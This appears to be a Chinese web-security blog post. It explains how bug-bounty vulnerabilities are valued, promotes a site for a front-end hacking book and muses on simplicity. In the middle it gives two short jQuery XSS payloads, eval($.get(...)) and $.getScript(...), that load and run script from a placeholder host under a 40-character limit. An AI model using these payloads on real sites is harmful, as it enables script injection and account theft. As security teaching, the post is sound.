最近一段时间，知道创宇的wsl小伙伴们发出了一个疑问：
我给tsrc提交的漏洞和xxx是一样的啊，为什么我的分少？
这个小伙伴的疑问的问题在于，没搞清楚漏洞的价值，漏洞价值体现在漏洞影响上，几个维度：
1. 漏洞本身的危害，比如一般情况下SQL的危害大于XSS；
2. 漏洞的易利用程度，一步搞定目标？还是要结合社工等，N步搞定目标，这个决定了成功率；
3. 目标群体大小，QQ群体规模>企业QQ；
4. 目标本身的价值，一般情况下，企业QQ>普通QQ，如你是要搞Q币，那就是普通QQ>企业QQ；
5. 社会影响面，如果被炒作了……这点可以忽略，要不然太复杂了；
后台灰盒+exp被限制40字符+script等标签被过滤。
很多人祭出0day bypass，没必要。先分析场景。最爽的是我看到场景使用了jquery，在昨天的一个攻击场景下，我推测那后台用jquery是必然的。
于是简短强悍的exp如：
1. eval($.get('//xxxx.com'))
2. $.getScript('//xxx.com') // 这个最牛逼，我当时没意识到，pw实战发现
思想是：攻击得原生态，依赖场景，这个思想在我们那本《Web前端黑客技术揭秘》第七章有鲜活说法。
大家举一反三吧。
花了几小时改版了web2hack.org，想表达的意思更清晰了，这次改版除了上线“消息列表”外，还特别加入了几个好资源，大家可以去围观：http://web2hack.org/。这个是专门为《Web前端黑客技术揭秘》这本书准备的站点，弥补书里的点点缺憾:.)
PS：web2hack.org目前使用的是sae海外节点，所以很慢……刷新几次吧- –
截图备份：
一切事物都应该是简单的。复杂的原因是因为思维在复杂，如果我们思考问题也能简单，那结果一定很美好。
无论是某个技术细节，某个架构，某个产品，某个团队，如果我们不能发现其中简单的本质，这些都将越来越艰难，越来越不稳定，直到失败。
解决问题之道在于：找到解决方法所在的层面。因为这样才能找到简单。
以上来自我的历史经验思考，还是那句话：懂的人懂，不懂的人不懂。
:)
update: 2013/10/10
Firefox下
数据库恢复，文章丢了，链接在这：http://chuansong.me/n/160075。